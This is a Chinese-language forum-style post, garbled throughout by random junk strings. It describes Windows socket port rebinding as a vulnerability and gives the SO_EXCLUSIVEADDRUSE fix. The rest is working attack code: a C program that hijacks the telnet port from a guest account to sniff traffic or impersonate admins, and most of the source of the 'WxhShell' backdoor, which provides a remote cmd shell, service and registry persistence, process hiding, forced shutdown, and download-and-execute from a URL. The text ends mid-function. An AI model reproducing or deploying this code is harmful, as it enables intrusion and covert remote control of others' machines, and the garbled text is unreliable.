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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !fcr3x|Y~M s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %vO b"K$X S:GX!6> saddr.sin_family = AF_INET; +[
944n D-BWgK saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^w XXx=Xf )Aky:kM$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); fK|F`F2V *gC6yQ2? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6A]Ia4PL K?q1I<94 这意味着什么?意味着可以进行如下的攻击: S5Q$dAL {uRnZ/m 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 YRYAQj/7 Y&k6Xhuao 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \$Nx`daFi iS^IqS 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /CAi%UH,F S&@uY#_(*T 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 1dF=BR8 KN;b+`x;M 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hYW<4{Gjr DM%4V|F" 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PZRm.vC)k b:nHcxDU< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i#
1:DiF .h2K$(/ #include WX}"Pj/6 #include 47xJ(yO #include +`==US34 #include 6t|FuTC DWORD WINAPI ClientThread(LPVOID lpParam); 3Q`F x int main() >*v^E9Y { b<B|p| WORD wVersionRequested; $*bd})y)I DWORD ret; 99}n%(V WSADATA wsaData; >uuP@j BOOL val; 37 wm[Z SOCKADDR_IN saddr; Z;aQ/n[` SOCKADDR_IN scaddr; 5Y
4W:S int err; I%43rdoPe SOCKET s; tdn[]|= SOCKET sc; ^<R*7mB* int caddsize; !+4}x;!8 HANDLE mt; y8Bi5Ae,+1 DWORD tid; }MDu QP] wVersionRequested = MAKEWORD( 2, 2 ); Kv[,!P"Y err = WSAStartup( wVersionRequested, &wsaData ); qHfs*MBJ% if ( err != 0 ) { *BYSfcX6 printf("error!WSAStartup failed!\n"); /s>ZT8vaAs return -1; sY=fS2b#) } ;K[`o/#4" saddr.sin_family = AF_INET; Q9N=yz 1\q2;5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Uc6BI$Fmz kn_%'7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?]081l7cd saddr.sin_port = htons(23); CE>RAerY if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sT9P { /H=fK printf("error!socket failed!\n"); )FM/^ return -1; 3VbQDPG } ip4:px- val = TRUE; C26PQGo#$ //SO_REUSEADDR选项就是可以实现端口重绑定的 9~DoF]TM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _gK@),de { `wI<LTzXS printf("error!setsockopt failed!\n"); +d6/*}ht return -1; !ec\8Tj } jYet!l //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BYN<|= //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .}6 YKKqS //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5@"&%8oeq0 DNdwMSwp if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C:g2E[# { >De\2gbJ ret=GetLastError(); y@J]busU printf("error!bind failed!\n"); kIV/o return -1; 3ryIXC\v } 2>#Pt^R:C listen(s,2); wHk4BWg- while(1) MN|y5w}$u { lDNB0Ad caddsize = sizeof(scaddr); @c{=:kg5 //接受连接请求 S=^yJ6xJ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p%CAicn if(sc!=INVALID_SOCKET) $!Z6?+ { %O;"Z`I mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); iLn)Z0<\o if(mt==NULL) zr?%k]A%UO { vbmSbZ"y printf("Thread Creat Failed!\n"); fR}|CP break; LWc}j`Wd } _r5Q%8J } 59O;`y0 CloseHandle(mt); )JTh=w4n|z } d:O>--$_tw closesocket(s); ^ q @.yL WSACleanup(); kssS,Ogf\_ return 0; zv!%u=49 } :k075Zr/#D DWORD WINAPI ClientThread(LPVOID lpParam) y@'8vOh` { {IJV(%E SOCKET ss = (SOCKET)lpParam; +/7UM x1 SOCKET sc; V<
0gD?Kx unsigned char buf[4096]; [a\:K2*' SOCKADDR_IN saddr; @#1k+tSA, long num; )H#Hs<)Qy DWORD val; ErJi
DWORD ret; db:b%1hk: //如果是隐藏端口应用的话,可以在此处加一些判断 1agyT //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 r80w{[S$ saddr.sin_family = AF_INET; *@lNL=%R saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M~;mamTP saddr.sin_port = htons(23); ZebXcT ,41 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9k ]$MR { ,IxAt&kN printf("error!socket failed!\n"); q"'^W<i return -1; gQgG_&xkC } g4P059 val = 100; R~CQ=KQ. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {*As-Y:'F { 1?`,h6d*= ret = GetLastError(); q*TH),)J return -1; \y{Bnp5h } 9M:wUYHT if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HQK%Y2S { M5HKRLt ret = GetLastError(); gzvEy^X return -1; \i}n1Qd } Y.3]vno?X if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~!&WK,k6 { ]]Ypi=<' printf("error!socket connect failed!\n"); B%Dy;zdWd/ closesocket(sc); lz
EF^6I closesocket(ss); $:s1x\ol return -1; u }D.yI8 } bQow,vf while(1) 2J^6(vk { U5z^R>k //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }XWic88!~ //如果是嗅探内容的话,可以再此处进行内容分析和记录 /}-]n81m //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {7[^L1 num = recv(ss,buf,4096,0); S3i%7f^C?N if(num>0) aAF:nyV~~0 send(sc,buf,num,0); F*o{dLJ) else if(num==0) #IA[erf: break; CtV$lXxup num = recv(sc,buf,4096,0); ^.&uYF& if(num>0) ++F #Z(p send(ss,buf,num,0); 7m{ 'V`F else if(num==0) 2[LT!TT break; dY68wW>d| } "3LOL/7f closesocket(ss); kdmannM closesocket(sc); v2G_p|+O return 0 ; Pon 2!$ } 9}iEEI mm'n#%\G QK<sibDI ========================================================== /$'tO3 1Z6<W~,1OM 下边附上一个代码,,WXhSHELL "'p:M,: nV,qC.z ========================================================== =Bi>$Ly ]8*g% #include "stdafx.h" mMjY I1F YvHP]N{SA' #include <stdio.h> @zB {Ig #include <string.h> *4Y1((1k #include <windows.h> R5NDT4QYU #include <winsock2.h> ZOK2BCoW #include <winsvc.h> f{FW7T}O2 #include <urlmon.h> y/h~oGxy ZwB<
{? #pragma comment (lib, "Ws2_32.lib") D3$PvX[f #pragma comment (lib, "urlmon.lib") 3bu VU&ap e3"GC_*# #define MAX_USER 100 // 最大客户端连接数 &Vg+n0 #define BUF_SOCK 200 // sock buffer iUFS1SN \ #define KEY_BUFF 255 // 输入 buffer $Lv,e\] 7f#e#_sM; #define REBOOT 0 // 重启 fQ=Yf ?b #define SHUTDOWN 1 // 关机 RmY5/IYR|: b%L8mX #define DEF_PORT 5000 // 监听端口 'U.)f@L#w <w`
R; #define REG_LEN 16 // 注册表键长度 _(5SiK R #define SVC_LEN 80 // NT服务名长度 21bvSK aB0L]i // 从dll定义API f)l:^/WP+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w&hgJ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); msM typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "6 |j
0?Q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d
}=fJ *%7 [{Loz // wxhshell配置信息 tisSj ?+ struct WSCFG { No>XRG+ int ws_port; // 监听端口 M' e<\wqm char ws_passstr[REG_LEN]; // 口令 m.pB]yq& int ws_autoins; // 安装标记, 1=yes 0=no jB!p,fqcb char ws_regname[REG_LEN]; // 注册表键名 %B}Q .' char ws_svcname[REG_LEN]; // 服务名 ~ P"@^cq char ws_svcdisp[SVC_LEN]; // 服务显示名 C=IT`iom1C char ws_svcdesc[SVC_LEN]; // 服务描述信息 &YGd!Q char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?OW
4J0B' int ws_downexe; // 下载执行标记, 1=yes 0=no \ ,ARYwd char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" i#Io; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +%7v#CY
& Q[ kbEhv; }; #( F/P!qk JS<S?j?*/ // default Wxhshell configuration t'|A0r$ struct WSCFG wscfg={DEF_PORT, dIg/g~ t" "xuhuanlingzhe", m_zl*s*6 1, >!848J "Wxhshell", rn $a)^! "Wxhshell", njtz,qt_;G "WxhShell Service", O;z:?
"Wrsky Windows CmdShell Service", y$|%K3 "Please Input Your Password: ", aUa.!,_dh 1, C]414Ibi " http://www.wrsky.com/wxhshell.exe", < aJl
i "Wxhshell.exe" qq.M]?Z }; S[J eW WHeyE3}p // 消息定义模块 !iA3\Ai" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CuC1s> char *msg_ws_prompt="\n\r? for help\n\r#>"; E-IV v char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; fqrQ1{%UH char *msg_ws_ext="\n\rExit."; mivb}cKM char *msg_ws_end="\n\rQuit."; fb-Lp#!T39 char *msg_ws_boot="\n\rReboot..."; J!Er%QUR char *msg_ws_poff="\n\rShutdown..."; U;`C%vHff char *msg_ws_down="\n\rSave to "; hb#Nm6 .2"-N5Z char *msg_ws_err="\n\rErr!"; })W9=xO~ char *msg_ws_ok="\n\rOK!"; `NYu|:JK: (rqc_ZU5 char ExeFile[MAX_PATH];
7 OAM int nUser = 0; 'L?e)u. HANDLE handles[MAX_USER]; x1H1[0w,i int OsIsNt; x1]J eyW8?: SERVICE_STATUS serviceStatus; &H8wYs SERVICE_STATUS_HANDLE hServiceStatusHandle; [As9&]Bv5 kvcDa+# // 函数声明 Em)U`"j/9 int Install(void); S&/,+x'c| int Uninstall(void); _PT5 int DownloadFile(char *sURL, SOCKET wsh); +7\$wc_1I@ int Boot(int flag); \ vn!SO7 void HideProc(void); JguPXHa0 int GetOsVer(void); "uCO?hv0 int Wxhshell(SOCKET wsl); -Vg(aD void TalkWithClient(void *cs); B@cC'F#G int CmdShell(SOCKET sock); bGw56s'R5~ int StartFromService(void); ` _aX>fw int StartWxhshell(LPSTR lpCmdLine); ICck 0S! G0#<SJ,) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SU,G0. VOID WINAPI NTServiceHandler( DWORD fdwControl ); (P!r^87 JfD-CoQS' // 数据结构和表定义 fg$#ZCi SERVICE_TABLE_ENTRY DispatchTable[] = fi%)520 { @$}Ct {wscfg.ws_svcname, NTServiceMain}, 4>^LEp {NULL, NULL} `%QXaKO- }; (#kKL??W Hjhgu= // 自我安装 "s-3226kj int Install(void) y0vJ@ %` { H9;0$Y(e- char svExeFile[MAX_PATH]; 0N;~(Vt2 HKEY key; Z(j"\d!y strcpy(svExeFile,ExeFile); )
>;7"v
I~T // 如果是win9x系统,修改注册表设为自启动 IiU\}<O if(!OsIsNt) { EfX\" y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lfvt9!SJ+/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :HW| mqKd RegCloseKey(key); Y5c,O>T5Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +*RaX (&
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mR|L'[l RegCloseKey(key); >$$z 6A[ return 0; CbGfVdw/c } j,n\`7dD$ } . ;rE4B } o6tPQ (Vi else { d1P|v(
`S9 Qb%o%z?hee // 如果是NT以上系统,安装为系统服务 JBhM*-t(M1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k5M5bH', if (schSCManager!=0) IOA2/WQu { xU/7}='T SC_HANDLE schService = CreateService |kY}G3/ ( M*!WXQlud schSCManager, 7|5X> yt wscfg.ws_svcname, Ii9[[I wscfg.ws_svcdisp, Ff{,zfN+3 SERVICE_ALL_ACCESS, <%o9*)F SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dGyrzuPJ SERVICE_AUTO_START, D@2L<!\ SERVICE_ERROR_NORMAL, arIEd VfNa svExeFile, Gv[s86AP, NULL, 1=Z!ZY}}e NULL, 3Ccy %; NULL, 7}:+Yx NULL, 1 | NULL Brtsig,4 ); WNY:HH if (schService!=0) NnH]c+ { NSa6\.W) CloseServiceHandle(schService); >?Duz+W) CloseServiceHandle(schSCManager); 1:JwqbZKJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [#=IKsO'R6 strcat(svExeFile,wscfg.ws_svcname); {J1iheuS} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %afN&T RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hkb&]XWi[ RegCloseKey(key); rFUR9O.{E return 0; G9^xv } vgE
-t } Ptz##o'{5 CloseServiceHandle(schSCManager); FsO_|r } q<j9l'dHG } b)@D@K"5 ?3lAogB return 1; +Xp1=2Mq } 2x>7>;> a^={X<K|/ // 自我卸载 MyZVx|7E int Uninstall(void) ~-<MoCm! { 2X<%BFsE HKEY key; c/Fgx/hr ;L,i">_%u[ if(!OsIsNt) { Xp] jF^5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j7U&a}( RegDeleteValue(key,wscfg.ws_regname);
1fvN[ RegCloseKey(key); PB
*v45 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { []v$QR&u#v RegDeleteValue(key,wscfg.ws_regname); )s,LFIy<A RegCloseKey(key); Gx
%=&O return 0; (dZ]j){ } nK32or3 } /ej[oR } ;yajt\a else { /oW]? 9 DK
eB%k SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iO&*WIbg if (schSCManager!=0) #i.,+Q { U?an\rv SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r<'DS9m if (schService!=0) #}Yrxf { -#v1/L/= if(DeleteService(schService)!=0) { {G0=A~ CloseServiceHandle(schService); c<, LE@V CloseServiceHandle(schSCManager); %&_^I* return 0; !zvjgDlZv } PtYG%/s CloseServiceHandle(schService); IITUM) } 41R6V>e@9J CloseServiceHandle(schSCManager); ?"*JV1 9 } 9/!1J } AT)b/ycC $|xSM2 return 1; n\)1Bz } <}:` Y" z3]W # // 从指定url下载文件 }tw+8YWkz int DownloadFile(char *sURL, SOCKET wsh) V3#ms0 { ;p2b^q' HRESULT hr; WQ 2{`'z char seps[]= "/"; B2oKvgw char *token; 'da
'WZG char *file; O!%T<2i3 char myURL[MAX_PATH]; rf-yUH]&S char myFILE[MAX_PATH]; }NoP(&ebz* hf]m'5pb strcpy(myURL,sURL); e@qH!.g) token=strtok(myURL,seps); -$?t+ "/E while(token!=NULL) `vMhrn { x&*f5Y9hCi file=token; =w}JAEE|(i token=strtok(NULL,seps); g0bYO!gCr } F$(ak;v} J,:&U
wkv GetCurrentDirectory(MAX_PATH,myFILE); y] c1x=x strcat(myFILE, "\\"); hVmnXT
3Z strcat(myFILE, file); &oMWs]0 send(wsh,myFILE,strlen(myFILE),0); a/\{NHs6"5 send(wsh,"...",3,0); }^iqhUvT F hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *2u~5Kc< if(hr==S_OK) BGBHA"5fz return 0; }dop]{RG else EwX&Cj". return 1; |dqHpogh y/y~<-|<@ } D/f4kkd MW6z&+Z // 系统电源模块 DrKB;6 int Boot(int flag) H)i|?3Ip { "5Y6.$Cuf! HANDLE hToken; iX6>u4~( TOKEN_PRIVILEGES tkp; Vn4wk>b}$2 :u./"[G if(OsIsNt) { GE(~d ' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3PGAUQR#"q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _<LL@IX tkp.PrivilegeCount = 1; @U18Dj[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MNWI%*0LO AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fu_I0z if(flag==REBOOT) { VK]U* V1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UL-_z++G return 0; sa4w.9O1GS } *9"x0bth else { s6@mXO:H^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HB8s[]A:D return 0; Mn(iAsg } Z.Yq)\it } z,G_&5|f% else { hp)^s7H if(flag==REBOOT) { gr SF}y!3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GM0Q@`d return 0; J _;H } .Zczya else { RC/ 3\' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3}<U'%sd return 0; zk
FX[-'O } N=BG0t$ } (_zlCHB *$ g!/, return 1;
k[D_L` } GeTk/tU nFNRiDx // win9x进程隐藏模块 *u1q7JFQk void HideProc(void) uy's eJ { bu|.Jw" A,9JbX HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X}v*"`@Q if ( hKernel != NULL ) 7Hr_ZwO/^ { C)z4Cn9# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dHUbaf:e)T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ctz#9[| FreeLibrary(hKernel); m+hI3@j } k?14'X*7yu n(J>'Z return; RyJy%|\-S } xKG7d8= );h(D!D, // 获取操作系统版本 ^obuMQ; int GetOsVer(void) 9p qsr~ { Bi:lC5d5? OSVERSIONINFO winfo; din,yHu~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Bzrnmz5S GetVersionEx(&winfo); 3T)rJEN A if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }yEV&&
@ return 1; w'2FYe{wj else RJ{$`d return 0; ixu*@{<Z( } y|}~"^+T $]We | // 客户端句柄模块 #m.e9MU int Wxhshell(SOCKET wsl) v
49o$s4J { RW L0@\ SOCKET wsh; cRVL1ne struct sockaddr_in client; . ,^WCyvq DWORD myID; 2|,L 9 Reikf}9Q while(nUser<MAX_USER) iPTQqx-m$7 { dT|f<E/P int nSize=sizeof(client); CaJ-oy8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =0=#M(w if(wsh==INVALID_SOCKET) return 1; 1.cP3kl )x|;%.8FX7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'dwT&v]@ if(handles[nUser]==0) -I|xW closesocket(wsh); 0N,<v7PX else s1D<R,J|H nUser++; = {O ~ } :Z// WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
vmqa_gU\ 32[}@f2q return 0; X&pYLm72; } N `|A 'Rn-SD~gIr // 关闭 socket jSY[Y:6md void CloseIt(SOCKET wsh) OIrm9D# {
RV~fml9c closesocket(wsh); P}@AH02
nUser--; ~Ru\Z-q1 ExitThread(0); 7ftn
gBv? } QH/py GJ,&$@8) // 客户端请求句柄 3f7zW3F void TalkWithClient(void *cs) =?RI`}vw_H { =_dM@ j ^[?y 2A: SOCKET wsh=(SOCKET)cs;
-tg|y char pwd[SVC_LEN]; (9]Uuvfp6" char cmd[KEY_BUFF]; N[I@}j char chr[1]; XN df int i,j; 7rjl-FUA~ :;+!ID_ while (nUser < MAX_USER) { \;{ ]YX *
65/gG8> if(wscfg.ws_passstr) { d51lTGH7Z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <Vhd4c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G^c,i5}w //ZeroMemory(pwd,KEY_BUFF); v
Y[s#*+ i=0; jrib"Bh3, while(i<SVC_LEN) { \OwF!~& 9M96$i`P // 设置超时 nGF
+a[Z fd_set FdRead; }_D .Hy5 struct timeval TimeOut; g*V.u]U!i FD_ZERO(&FdRead); fkxkf^g) FD_SET(wsh,&FdRead); 1q}LO2 TimeOut.tv_sec=8; V:n0BlZ,B TimeOut.tv_usec=0; a"vzC$Hxd int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v)5;~.+% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [6!k:-t+ }t)+eSUA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jx}&%p X pwd =chr[0]; P<]U if(chr[0]==0xd || chr[0]==0xa) { .WF"vUp pwd=0; n7!T{+ge break; WPNB!"E98 } M)bQvjj i++; ?2<)
Jw } mfraw2H "DW ~E\Y // 如果是非法用户,关闭 socket l9.`2d]o if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 46C%at
M0} } ._}}@V_/ LqWiw24# send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WcN4ff- send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :aNjh !<w6j-S while(1) { {<-s&%/r K"!rj.Da ZeroMemory(cmd,KEY_BUFF); \Id8X`,eD b<a3Ue% // 自动支持客户端 telnet标准 mA(kq j=0; 8SjCU+V while(j<KEY_BUFF) { Id=20og if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iJTG+gx cmd[j]=chr[0];
4E''pW]8 if(chr[0]==0xa || chr[0]==0xd) { L=<xTbY cmd[j]=0; Thggas, break; /uw@o9`~2- } j7P49{ j++; ~^F]t$rz } |O8e;v72g^ D2ggFxqe // 下载文件 #}~tTL if(strstr(cmd,"http://")) { 9wL2NC31Q send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^%\a,~ if(DownloadFile(cmd,wsh)) ,+i^]yF3j send(wsh,msg_ws_err,strlen(msg_ws_err),0); nDrRK else RZz?_1' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Il=6t } 2"6L\8hd2 else { oiyvKMHz7 QytO0K5
switch(cmd[0]) { BValU (
fFrX_K] // 帮助
|gk*{3~y case '?': { %pZT3dcK send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "@x(2(Y& break; +wQ5m8E } Ec7xwPk // 安装 A+/Lt>+AS case 'i': { Q4mtfpiDx if(Install()) "5JMk
-2k send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2tz4Ag else +:Zwo+\kSN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /M5.Z~|/ break; &OU.BR> } rVabkwYD // 卸载 M>k&WtqK case 'r': { ~D5
-G?%$" if(Uninstall()) }-[l)<F: send(wsh,msg_ws_err,strlen(msg_ws_err),0); X"Eqhl<t else SrA6}kS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); as:=QMV break; ei2?H;H; } DS8HSSD // 显示 wxhshell 所在路径 v8-szW). case 'p': { UB@(r86d char svExeFile[MAX_PATH]; J.~@j;[2 strcpy(svExeFile,"\n\r"); }Z <I%GT strcat(svExeFile,ExeFile); 1^k}GXsWmE send(wsh,svExeFile,strlen(svExeFile),0); S%RxYJ( break; b8a(.}8* } 6Emn@Mn= // 重启 uNf'Zeo case 'b': { Nr@,In|JS send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); za6 hyd^ if(Boot(REBOOT)) R655@|RT send(wsh,msg_ws_err,strlen(msg_ws_err),0); R/{h4/+vJ else { .3EEi3z6z closesocket(wsh); 3g7]$} ExitThread(0); oX6Cd:c- } >uCO=T,| break; PCCE+wC6 } X}B]5 // 关机 &Zz&VwWR case 'd': { 8h
ol4'B send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0,0WdJAe if(Boot(SHUTDOWN)) H8HH) ^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); e\z,^ else { 0Y`+L6&UX closesocket(wsh); |f}wOkl ExitThread(0); `c:r`Oi? } ZZi9<g1 break; E.#JCO|(1 } 1mV
'
~W // 获取shell X'd\b}Bm case 's': { NiG&Lw*8 CmdShell(wsh); pTAm} closesocket(wsh); ;zqxDl_ ExitThread(0); Vb 36R_u break; Xk:x=4u& } kU:Q&[/jzH // 退出 P'$2%P$8:~ case 'x': { %4VM"C4[ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tli*3YIw CloseIt(wsh); s2sJJdN break; ,ig`'U } Lh+7z>1 // 离开 +) 9=bB case 'q': { 8hV4l'Pa72 send(wsh,msg_ws_end,strlen(msg_ws_end),0); :|l0x a closesocket(wsh); /p-k'387 WSACleanup(); @V4nc
'o. exit(1); xfUV'=~( break; ILG&l<!E } BDp(&=ktq } 8U#14U5rS } ddYb=L+_b Mf5kknYuL9 // 提示信息 @sR/l; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,*$Y[UT } J?p|Vy|9 } .:-*89c i39_( )X return; Na\&}GSf^ } *<9M|H~ f`}u9!jVR // shell模块句柄 jp-(n z\ int CmdShell(SOCKET sock) QIwO _[Q { USE! STARTUPINFO si; GWx?RIKF ZeroMemory(&si,sizeof(si)); eT F s9$ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _)CCD33$ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 45+kwo0 PROCESS_INFORMATION ProcessInfo; MNfc1I_# char cmdline[]="cmd"; V(G{_>> CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [CnoMN return 0; &Ai+t2 } 6_EfOD9 jJ>I*'w // 自身启动模式 %AMF6l[ int StartFromService(void) _=w=!U&W { d.sn D)X typedef struct a/d8_(0 { nQw, /Lk DWORD ExitStatus; (!ud"A|ab4 DWORD PebBaseAddress; &WbHM)_n DWORD AffinityMask; B(@uJ^N DWORD BasePriority; q!d7Ms{q ULONG UniqueProcessId; 8LtkP&Wx ULONG InheritedFromUniqueProcessId; Swv
=gu } PROCESS_BASIC_INFORMATION; Or1ikI" ?.I1"C,#VJ PROCNTQSIP NtQueryInformationProcess; Y
Odwd}M -z/>W+k static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -OQ6;A"# static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6.v)q,JL J@Nq HANDLE hProcess; K>+c2;t; PROCESS_BASIC_INFORMATION pbi; En+`ZcA\z &>@EfW]( HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m]++
